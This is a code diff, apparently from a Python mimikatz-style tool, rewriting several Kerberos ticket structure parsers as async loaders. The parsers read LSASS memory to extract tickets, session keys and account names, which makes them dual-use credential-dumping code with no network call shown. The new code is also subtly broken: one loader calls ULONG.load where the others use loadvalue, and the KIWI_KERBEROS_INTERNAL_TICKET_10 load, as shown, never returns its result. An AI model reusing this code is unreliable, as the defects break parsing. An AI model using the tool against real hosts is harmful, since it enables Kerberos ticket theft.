1232 | res.unk3 = await PVOID.loadvalue(reader) | |
1233 | res.unk4 = await PVOID.loadvalue(reader) | |
1234 | res.unk5 = await PVOID.loadvalue(reader) | |
1235 | res.unk6 = await PVOID.loadvalue(reader) | |
1236 | res.unk7 = await PVOID.loadvalue(reader) | |
1237 | res.unk8 = await PVOID.loadvalue(reader) | |
1238 | res.StartTime = await FILETIME.loadvalue(reader) | |
1239 | res.EndTime = await FILETIME.loadvalue(reader) | |
1240 | res.RenewUntil = await FILETIME.loadvalue(reader) | |
1241 | res.unk9 = await ULONG.loadvalue(reader) | |
1242 | res.unk10 = await ULONG.loadvalue(reader) | |
1243 | res.domain = await PCWSTR.loadvalue(reader) | |
1244 | res.unk11 = await ULONG.loadvalue(reader) | |
1245 | res.strangeNames = await PVOID.loadvalue(reader) | |
1246 | res.unk12 = await ULONG.loadvalue(reader) | |
1247 | res.TicketEncType = await ULONG.loadvalue(reader) | |
1248 | res.TicketKvno = await ULONG.loadvalue(reader) | |
1249 | res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) | |
1250 | return res | |
738 | 1251 | |
739 | 1252 | class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER): |
740 | def __init__(self, reader): | |
741 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_52) | |
1253 | def __init__(self): | |
1254 | super().__init__() | |
1255 | ||
1256 | @staticmethod | |
1257 | async def load(reader): | |
1258 | p = PKIWI_KERBEROS_INTERNAL_TICKET_52() | |
1259 | p.location = reader.tell() | |
1260 | p.value = await reader.read_uint() | |
1261 | p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_52 | |
1262 | return p | |
742 | 1263 | |
743 | 1264 | |
744 | 1265 | class KIWI_KERBEROS_INTERNAL_TICKET_52: |
745 | def __init__(self, reader): | |
746 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader) | |
747 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader) | |
748 | self.unk0 = PVOID(reader).value | |
749 | self.unk1 = PVOID(reader).value | |
750 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
751 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
752 | self.DomainName = LSA_UNICODE_STRING(reader) | |
753 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
754 | self.Description = LSA_UNICODE_STRING(reader) | |
755 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
756 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
757 | self.name0 = PVOID(reader).value | |
758 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
759 | self.unk2 = ULONG(reader).value | |
760 | self.KeyType = ULONG(reader).value | |
761 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
762 | self.unk3 = PVOID(reader).value | |
763 | self.unk4 = PVOID(reader).value | |
764 | self.unk5 = PVOID(reader).value | |
765 | self.StartTime = FILETIME(reader).value | |
766 | self.EndTime = FILETIME(reader).value | |
767 | self.RenewUntil = FILETIME(reader).value | |
768 | self.unk6 = ULONG(reader).value | |
769 | self.unk7 = ULONG(reader).value | |
770 | self.domain = PCWSTR(reader).value | |
771 | self.unk8 = ULONG(reader).value | |
772 | self.strangeNames = PVOID(reader).value | |
773 | self.unk9 = ULONG(reader).value | |
774 | self.TicketEncType = ULONG(reader).value | |
775 | self.TicketKvno = ULONG(reader).value | |
776 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
1266 | def __init__(self): | |
1267 | self.Flink = None | |
1268 | self.Blink = None | |
1269 | self.unk0 = None | |
1270 | self.unk1 = None | |
1271 | self.ServiceName = None | |
1272 | self.TargetName = None | |
1273 | self.DomainName = None | |
1274 | self.TargetDomainName = None | |
1275 | self.Description = None | |
1276 | self.AltTargetDomainName = None | |
1277 | self.ClientName = None | |
1278 | self.name0 = None | |
1279 | self.TicketFlags = None | |
1280 | self.unk2 = None | |
1281 | self.KeyType = None | |
1282 | self.Key = None | |
1283 | self.unk3 = None | |
1284 | self.unk4 = None | |
1285 | self.unk5 = None | |
1286 | self.StartTime = None | |
1287 | self.EndTime = None | |
1288 | self.RenewUntil = None | |
1289 | self.unk6 = None | |
1290 | self.unk7 = None | |
1291 | self.domain = None | |
1292 | self.unk8 = None | |
1293 | self.strangeNames = None | |
1294 | self.unk9 = None | |
1295 | self.TicketEncType = None | |
1296 | self.TicketKvno = None | |
1297 | self.Ticket = None | |
1298 | ||
1299 | ||
1300 | @staticmethod | |
1301 | async def load(reader): | |
1302 | res = KIWI_KERBEROS_INTERNAL_TICKET_52() | |
1303 | res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader) | |
1304 | res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader) | |
1305 | res.unk0 = await PVOID.loadvalue(reader) | |
1306 | res.unk1 = await PVOID.loadvalue(reader) | |
1307 | res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) | |
1308 | res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) | |
1309 | res.DomainName = await LSA_UNICODE_STRING.load(reader) | |
1310 | res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1311 | res.Description = await LSA_UNICODE_STRING.load(reader) | |
1312 | res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1313 | res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) | |
1314 | res.name0 = await PVOID.loadvalue(reader) | |
1315 | x = await reader.read(4) | |
1316 | res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) | |
1317 | res.unk2 = await ULONG.loadvalue(reader) | |
1318 | res.KeyType = await ULONG.loadvalue(reader) | |
1319 | res.Key = await KIWI_KERBEROS_BUFFER.load(reader) | |
1320 | res.unk3 = await PVOID.loadvalue(reader) | |
1321 | res.unk4 = await PVOID.loadvalue(reader) | |
1322 | res.unk5 = await PVOID.loadvalue(reader) | |
1323 | res.StartTime = await FILETIME.loadvalue(reader) | |
1324 | res.EndTime = await FILETIME.loadvalue(reader) | |
1325 | res.RenewUntil= await FILETIME.loadvalue(reader) | |
1326 | res.unk6 = await ULONG.loadvalue(reader) | |
1327 | res.unk7 = await ULONG.loadvalue(reader) | |
1328 | res.domain = await PCWSTR.loadvalue(reader) | |
1329 | res.unk8 = await ULONG.loadvalue(reader) | |
1330 | res.strangeNames = await PVOID.loadvalue(reader) | |
1331 | res.unk9 = await ULONG.loadvalue(reader) | |
1332 | res.TicketEncType = await ULONG.loadvalue(reader) | |
1333 | res.TicketKvno = await ULONG.load(reader) | |
1334 | res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) | |
1335 | return res | |
777 | 1336 | |
778 | 1337 | class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER): |
779 | def __init__(self, reader): | |
780 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_60) | |
1338 | def __init__(self): | |
1339 | super().__init__() | |
1340 | ||
1341 | @staticmethod | |
1342 | async def load(reader): | |
1343 | p = PKIWI_KERBEROS_INTERNAL_TICKET_60() | |
1344 | p.location = reader.tell() | |
1345 | p.value = await reader.read_uint() | |
1346 | p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_60 | |
1347 | return p | |
781 | 1348 | |
782 | 1349 | |
783 | 1350 | class KIWI_KERBEROS_INTERNAL_TICKET_60: |
784 | def __init__(self, reader): | |
785 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader) | |
786 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader) | |
787 | self.unk0 = PVOID(reader).value | |
788 | self.unk1 = PVOID(reader).value | |
789 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
790 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
791 | self.DomainName = LSA_UNICODE_STRING(reader) | |
792 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
793 | self.Description = LSA_UNICODE_STRING(reader) | |
794 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
795 | #//LSA_UNICODE_STRING KDCServer = //?(reader).value | |
796 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
797 | self.name0 = PVOID(reader).value | |
798 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
799 | self.unk2 = ULONG(reader).value | |
800 | self.KeyType = ULONG(reader).value | |
801 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
802 | self.unk3 = PVOID(reader).value | |
803 | self.unk4 = PVOID(reader).value | |
804 | self.unk5 = PVOID(reader).value | |
805 | self.StartTime = FILETIME(reader).value | |
806 | self.EndTime = FILETIME(reader).value | |
807 | self.RenewUntil = FILETIME(reader).value | |
808 | self.unk6 = ULONG(reader).value | |
809 | self.unk7 = ULONG(reader).value | |
810 | self.domain = PCWSTR(reader).value | |
811 | self.unk8 = ULONG(reader).value | |
812 | self.strangeNames = PVOID(reader).value | |
813 | self.unk9 = ULONG(reader).value | |
814 | self.TicketEncType = ULONG(reader).value | |
815 | self.TicketKvno = ULONG(reader).value | |
816 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
817 | ||
1351 | def __init__(self): | |
1352 | self.Flink = None | |
1353 | self.Blink = None | |
1354 | self.unk0 = None | |
1355 | self.unk1 = None | |
1356 | self.ServiceName = None | |
1357 | self.TargetName = None | |
1358 | self.DomainName = None | |
1359 | self.TargetDomainName = None | |
1360 | self.Description = None | |
1361 | self.AltTargetDomainName = None | |
1362 | self.ClientName = None | |
1363 | self.name0 = None | |
1364 | self.TicketFlags = None | |
1365 | self.unk2 = None | |
1366 | self.KeyType = None | |
1367 | self.Key = None | |
1368 | self.unk3 = None | |
1369 | self.unk4 = None | |
1370 | self.unk5 = None | |
1371 | self.StartTime = None | |
1372 | self.EndTime = None | |
1373 | self.RenewUntil = None | |
1374 | self.unk6 = None | |
1375 | self.unk7 = None | |
1376 | self.domain = None | |
1377 | self.unk8 = None | |
1378 | self.strangeNames = None | |
1379 | self.unk9 = None | |
1380 | self.TicketEncType = None | |
1381 | self.TicketKvno = None | |
1382 | self.Ticket = None | |
1383 | ||
1384 | ||
1385 | @staticmethod | |
1386 | async def load(reader): | |
1387 | res = KIWI_KERBEROS_INTERNAL_TICKET_60() | |
1388 | res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader) | |
1389 | res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader) | |
1390 | res.unk0 = await PVOID.loadvalue(reader) | |
1391 | res.unk1 = await PVOID.loadvalue(reader) | |
1392 | res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) | |
1393 | res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) | |
1394 | res.DomainName = await LSA_UNICODE_STRING.load(reader) | |
1395 | res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1396 | res.Description = await LSA_UNICODE_STRING.load(reader) | |
1397 | res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1398 | res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) | |
1399 | res.name0 = await PVOID.loadvalue(reader) | |
1400 | x = await reader.read(4) | |
1401 | res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) | |
1402 | res.unk2 = await ULONG.loadvalue(reader) | |
1403 | res.KeyType = await ULONG.loadvalue(reader) | |
1404 | res.Key = await KIWI_KERBEROS_BUFFER.load(reader) | |
1405 | res.unk3 = await PVOID.loadvalue(reader) | |
1406 | res.unk4 = await PVOID.loadvalue(reader) | |
1407 | res.unk5 = await PVOID.loadvalue(reader) | |
1408 | res.StartTime = await FILETIME.loadvalue(reader) | |
1409 | res.EndTime = await FILETIME.loadvalue(reader) | |
1410 | res.RenewUntil = await FILETIME.loadvalue(reader) | |
1411 | res.unk6 = await ULONG.loadvalue(reader) | |
1412 | res.unk7 = await ULONG.loadvalue(reader) | |
1413 | res.domain = await PCWSTR.loadvalue(reader) | |
1414 | res.unk8 = await ULONG.loadvalue(reader) | |
1415 | res.strangeNames = await PVOID.loadvalue(reader) | |
1416 | res.unk9 = await ULONG.loadvalue(reader) | |
1417 | res.TicketEncType = await ULONG.loadvalue(reader) | |
1418 | res.TicketKvno = await ULONG.loadvalue(reader) | |
1419 | res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) | |
1420 | return res | |
818 | 1421 | |
819 | 1422 | class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER): |
820 | def __init__(self, reader): | |
821 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_6) | |
1423 | def __init__(self): | |
1424 | super().__init__() | |
1425 | ||
1426 | @staticmethod | |
1427 | async def load(reader): | |
1428 | p = PKIWI_KERBEROS_INTERNAL_TICKET_6() | |
1429 | p.location = reader.tell() | |
1430 | p.value = await reader.read_uint() | |
1431 | p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
1432 | return p | |
822 | 1433 | |
823 | 1434 | class KIWI_KERBEROS_INTERNAL_TICKET_6: |
824 | def __init__(self, reader): | |
825 | #self.This = LIST_ENTRY(reader) | |
826 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader) | |
827 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader) | |
828 | ||
829 | #reader.read(8) | |
830 | #input('servicename\n' + hexdump(reader.peek(0x100))) | |
831 | self.unk0 = PVOID(reader).value | |
832 | self.unk1 = PVOID(reader).value | |
833 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
834 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
835 | self.DomainName = LSA_UNICODE_STRING(reader) | |
836 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
837 | self.Description = LSA_UNICODE_STRING(reader) | |
838 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
839 | self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value | |
840 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
841 | self.name0 = PVOID(reader).value | |
842 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)#ULONG(reader).value | |
843 | self.unk2 = ULONG(reader).value | |
844 | self.KeyType = ULONG(reader).value | |
845 | reader.align() | |
846 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
847 | self.unk3 = PVOID(reader).value | |
848 | self.unk4 = PVOID(reader).value | |
849 | self.unk5 = PVOID(reader).value | |
850 | self.StartTime = FILETIME(reader).value | |
851 | self.EndTime = FILETIME(reader).value | |
852 | self.RenewUntil = FILETIME(reader).value | |
853 | self.unk6 = ULONG(reader).value | |
854 | self.unk7 = ULONG(reader).value | |
855 | self.domain = PCWSTR(reader).value | |
856 | self.unk8 = ULONG(reader).value | |
857 | reader.align() | |
858 | self.strangeNames = PVOID(reader).value | |
859 | self.unk9 = ULONG(reader).value | |
860 | self.TicketEncType = ULONG(reader).value | |
861 | self.TicketKvno = ULONG(reader).value | |
862 | reader.align() | |
863 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
1435 | def __init__(self): | |
1436 | self.Flink = None | |
1437 | self.Blink = None | |
1438 | self.unk0 = None | |
1439 | self.unk1 = None | |
1440 | self.ServiceName = None | |
1441 | self.TargetName = None | |
1442 | self.DomainName = None | |
1443 | self.TargetDomainName = None | |
1444 | self.Description = None | |
1445 | self.AltTargetDomainName = None | |
1446 | self.KDCServer = None | |
1447 | self.ClientName = None | |
1448 | self.name0 = None | |
1449 | self.TicketFlags = None | |
1450 | self.unk2 = None | |
1451 | self.KeyType = None | |
1452 | self.Key = None | |
1453 | self.unk3 = None | |
1454 | self.unk4 = None | |
1455 | self.unk5 = None | |
1456 | self.StartTime = None | |
1457 | self.EndTime = None | |
1458 | self.RenewUntil = None | |
1459 | self.unk6 = None | |
1460 | self.unk7 = None | |
1461 | self.domain = None | |
1462 | self.unk8 = None | |
1463 | self.strangeNames = None | |
1464 | self.unk9 = None | |
1465 | self.TicketEncType = None | |
1466 | self.TicketKvno = None | |
1467 | self.Ticket = None | |
1468 | ||
1469 | @staticmethod | |
1470 | async def load(reader): | |
1471 | res = KIWI_KERBEROS_INTERNAL_TICKET_6() | |
1472 | res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader) | |
1473 | res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader) | |
1474 | res.unk0 = await PVOID.loadvalue(reader) | |
1475 | res.unk1 = await PVOID.loadvalue(reader) | |
1476 | res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) | |
1477 | res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) | |
1478 | res.DomainName = await LSA_UNICODE_STRING.load(reader) | |
1479 | res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1480 | res.Description = await LSA_UNICODE_STRING.load(reader) | |
1481 | res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1482 | res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value | |
1483 | res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) | |
1484 | res.name0 = await PVOID.loadvalue(reader) | |
1485 | x = await reader.read(4) | |
1486 | res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)#ULONG(reader).value | |
1487 | res.unk2 = await ULONG.loadvalue(reader) | |
1488 | res.KeyType = await ULONG.loadvalue(reader) | |
1489 | await reader.align() | |
1490 | res.Key = await KIWI_KERBEROS_BUFFER.load(reader) | |
1491 | res.unk3 = await PVOID.loadvalue(reader) | |
1492 | res.unk4 = await PVOID.loadvalue(reader) | |
1493 | res.unk5 = await PVOID.loadvalue(reader) | |
1494 | res.StartTime = await FILETIME.loadvalue(reader) | |
1495 | res.EndTime = await FILETIME.loadvalue(reader) | |
1496 | res.RenewUntil = await FILETIME.loadvalue(reader) | |
1497 | res.unk6 = await ULONG.loadvalue(reader) | |
1498 | res.unk7 = await ULONG.loadvalue(reader) | |
1499 | res.domain = await PCWSTR.loadvalue(reader) | |
1500 | res.unk8 = await ULONG.loadvalue(reader) | |
1501 | await reader.align() | |
1502 | res.strangeNames = await PVOID.loadvalue(reader) | |
1503 | res.unk9 = await ULONG.loadvalue(reader) | |
1504 | res.TicketEncType = await ULONG.loadvalue(reader) | |
1505 | res.TicketKvno = await ULONG.loadvalue(reader) | |
1506 | await reader.align() | |
1507 | res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) | |
1508 | return res | |
864 | 1509 | |
865 | 1510 | class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER): |
866 | def __init__(self, reader): | |
867 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10) | |
1511 | def __init__(self): | |
1512 | super().__init__() | |
1513 | ||
1514 | @staticmethod | |
1515 | async def load(reader): | |
1516 | p = PKIWI_KERBEROS_INTERNAL_TICKET_10() | |
1517 | p.location = reader.tell() | |
1518 | p.value = await reader.read_uint() | |
1519 | p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10 | |
1520 | return p | |
868 | 1521 | |
869 | 1522 | class KIWI_KERBEROS_INTERNAL_TICKET_10: |
870 | def __init__(self, reader): | |
1523 | def __init__(self): | |
871 | 1524 | #input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100))) |
872 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader) | |
873 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader) | |
874 | self.unk0 = PVOID(reader).value | |
875 | self.unk1 = PVOID(reader).value | |
876 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
877 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
878 | self.DomainName = LSA_UNICODE_STRING(reader) | |
879 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
880 | self.Description = LSA_UNICODE_STRING(reader) | |
881 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
882 | self.KDCServer = LSA_UNICODE_STRING# //?(reader).value | |
883 | self.unk10586_d = LSA_UNICODE_STRING# //?(reader).value | |
884 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
885 | self.name0 = PVOID(reader).value | |
886 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
887 | self.unk2 = ULONG(reader).value | |
888 | self.KeyType = ULONG(reader).value | |
889 | reader.align() | |
890 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
891 | self.unk3 = PVOID(reader).value | |
892 | self.unk4 = PVOID(reader).value | |
893 | self.unk5 = PVOID(reader).value | |
894 | reader.align(8) | |
895 | self.StartTime = FILETIME(reader).value | |
896 | self.EndTime = FILETIME(reader).value | |
897 | self.RenewUntil = FILETIME(reader).value | |
898 | self.unk6 = ULONG(reader).value | |
899 | self.unk7 = ULONG(reader).value | |
900 | self.domain = PCWSTR(reader).value | |
901 | self.unk8 = ULONG(reader).value | |
902 | reader.align() | |
903 | self.strangeNames = PVOID(reader).value | |
904 | self.unk9 = ULONG(reader).value | |
905 | self.TicketEncType = ULONG(reader).value | |
906 | self.TicketKvno = ULONG(reader).value | |
907 | reader.align() | |
908 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
1525 | self.Flink = None | |
1526 | self.Blink = None | |
1527 | self.unk0 = None | |
1528 | self.unk1 = None | |
1529 | self.ServiceName = None | |
1530 | self.TargetName = None | |
1531 | self.DomainName = None | |
1532 | self.TargetDomainName = None | |
1533 | self.Description = None | |
1534 | self.AltTargetDomainName = None | |
1535 | self.KDCServer = None | |
1536 | self.unk10586_d = None | |
1537 | self.ClientName = None | |
1538 | self.name0 = None | |
1539 | self.TicketFlags = None | |
1540 | self.unk2 = None | |
1541 | self.KeyType = None | |
1542 | self.Key = None | |
1543 | self.unk3 = None | |
1544 | self.unk4 = None | |
1545 | self.unk5 = None | |
1546 | self.StartTime = None | |
1547 | self.EndTime = None | |
1548 | self.RenewUntil = None | |
1549 | self.unk6 = None | |
1550 | self.unk7 = None | |
1551 | self.domain = None | |
1552 | self.unk8 = None | |
1553 | self.strangeNames = None | |
1554 | self.unk9 = None | |
1555 | self.TicketEncType = None | |
1556 | self.TicketKvno = None | |
1557 | self.Ticket = None | |
1558 | ||
1559 | @staticmethod | |
1560 | async def load(reader): | |
1561 | res = KIWI_KERBEROS_INTERNAL_TICKET_10() | |
1562 | res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader) | |
1563 | res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader) | |
1564 | res.unk0 = await PVOID.loadvalue(reader) | |
1565 | res.unk1 = await PVOID.loadvalue(reader) | |
1566 | res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) | |
1567 | res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) | |
1568 | res.DomainName = await LSA_UNICODE_STRING.load(reader) | |
1569 | res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1570 | res.Description = await LSA_UNICODE_STRING.load(reader) | |
1571 | res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1572 | res.KDCServer = await LSA_UNICODE_STRING.load(reader)# //?(reader).value | |
1573 | res.unk10586_d = await LSA_UNICODE_STRING.load(reader)# //?(reader).value | |
1574 | res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) | |
1575 | res.name0 = await PVOID.loadvalue(reader) | |
1576 | x = await reader.read(4) | |
1577 | res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) | |
1578 | res.unk2 = await ULONG.loadvalue(reader) | |
1579 | res.KeyType = await ULONG.loadvalue(reader) | |
1580 | await reader.align() | |
1581 | res.Key = await KIWI_KERBEROS_BUFFER.load(reader) | |
1582 | res.unk3 = await PVOID.loadvalue(reader) | |
1583 | res.unk4 = await PVOID.loadvalue(reader) | |
1584 | res.unk5 = await PVOID.loadvalue(reader) | |
1585 | await reader.align(8) | |
1586 | res.StartTime = await FILETIME.loadvalue(reader) | |
1587 | res.EndTime = await FILETIME.loadvalue(reader) | |
1588 | res.RenewUntil = await FILETIME.loadvalue(reader) | |
1589 | res.unk6 = await ULONG.loadvalue(reader) | |
1590 | res.unk7 = await ULONG.loadvalue(reader) | |
1591 | res.domain = await PCWSTR.loadvalue(reader) | |
1592 | res.unk8 = await ULONG.loadvalue(reader) | |
1593 | await reader.align() | |
1594 | res.strangeNames = await PVOID.loadvalue(reader) | |
1595 | res.unk9 = await ULONG.loadvalue(reader) | |
1596 | res.TicketEncType = await ULONG.loadvalue(reader) | |
1597 | res.TicketKvno = await ULONG.loadvalue(reader) | |
1598 | await reader.align() | |
1599 | res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) | |
909 | 1600 | |
910 | 1601 | class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER): |
911 | def __init__(self, reader): | |
912 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607) | |
1602 | def __init__(self): | |
1603 | super().__init__() | |
1604 | ||
1605 | @staticmethod | |
1606 | async def load(reader): | |
1607 | p = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607() | |
1608 | p.location = reader.tell() | |
1609 | p.value = await reader.read_uint() | |
1610 | p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 | |
1611 | return p | |
913 | 1612 | |
914 | 1613 | |
915 | 1614 | class KIWI_KERBEROS_INTERNAL_TICKET_10_1607: |
916 | def __init__(self, reader): | |
917 | #input('KIWI_KERBEROS_INTERNAL_TICKET_10_1607\n' + hexdump(reader.peek(0x300))) | |
918 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader) | |
919 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader) | |
920 | self.unk0 = PVOID(reader).value | |
921 | self.unk1 = PVOID(reader).value | |
922 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
923 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
924 | self.DomainName = LSA_UNICODE_STRING(reader) | |
925 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
926 | self.Description = LSA_UNICODE_STRING(reader) | |
927 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
928 | self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value | |
929 | self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value | |
930 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
931 | self.name0 = PVOID(reader).value | |
932 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
933 | self.unk2 = ULONG(reader).value | |
934 | self.unk14393_0 = PVOID(reader).value | |
935 | self.KeyType = ULONG(reader).value | |
936 | reader.align() | |
937 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
938 | self.unk14393_1 = PVOID(reader).value | |
939 | self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value | |
940 | self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value | |
941 | self.unk5 = PVOID(reader).value # // up(reader).value | |
942 | self.StartTime = FILETIME(reader).value | |
943 | self.EndTime = FILETIME(reader).value | |
944 | self.RenewUntil = FILETIME(reader).value | |
945 | self.unk6 = ULONG(reader).value | |
946 | self.unk7 = ULONG(reader).value | |
947 | self.domain = PCWSTR(reader).value | |
948 | self.unk8 = ULONG(reader).value | |
949 | reader.align() | |
950 | self.strangeNames = PVOID(reader).value | |
951 | self.unk9 = ULONG(reader).value | |
952 | self.TicketEncType = ULONG(reader).value | |
953 | self.TicketKvno = ULONG(reader).value | |
954 | reader.align() | |
955 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
1615 | def __init__(self): | |
1616 | self.Flink = None | |
1617 | self.Blink = None | |
1618 | self.unk0 = None | |
1619 | self.unk1 = None | |
1620 | self.ServiceName = None | |
1621 | self.TargetName = None | |
1622 | self.DomainName = None | |
1623 | self.TargetDomainName = None | |
1624 | self.Description = None | |
1625 | self.AltTargetDomainName = None | |
1626 | self.KDCServer = None | |
1627 | self.unk10586_d = None | |
1628 | self.ClientName = None | |
1629 | self.name0 = None | |
1630 | self.TicketFlags = None | |
1631 | self.unk2 = None | |
1632 | self.unk14393_0 = None | |
1633 | self.KeyType = None | |
1634 | self.Key = None | |
1635 | self.unk14393_1 = None | |
1636 | self.unk3 = None | |
1637 | self.unk4 = None | |
1638 | self.unk5 = None | |
1639 | self.StartTime = None | |
1640 | self.EndTime = None | |
1641 | self.RenewUntil = None | |
1642 | self.unk6 = None | |
1643 | self.unk7 = None | |
1644 | self.domain = None | |
1645 | self.unk8 = None | |
1646 | self.strangeNames = None | |
1647 | self.unk9 = None | |
1648 | self.TicketEncType = None | |
1649 | self.TicketKvno = None | |
1650 | self.Ticket = None | |
1651 | ||
1652 | ||
1653 | @staticmethod | |
1654 | async def load(reader): | |
1655 | res = KIWI_KERBEROS_INTERNAL_TICKET_10_1607() | |
1656 | res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader) | |
1657 | res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader) | |
1658 | res.unk0 = await PVOID.loadvalue(reader) | |
1659 | res.unk1 = await PVOID.loadvalue(reader) | |
1660 | res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) | |
1661 | res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) | |
1662 | res.DomainName = await LSA_UNICODE_STRING.load(reader) | |
1663 | res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1664 | res.Description = await LSA_UNICODE_STRING.load(reader) | |
1665 | res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
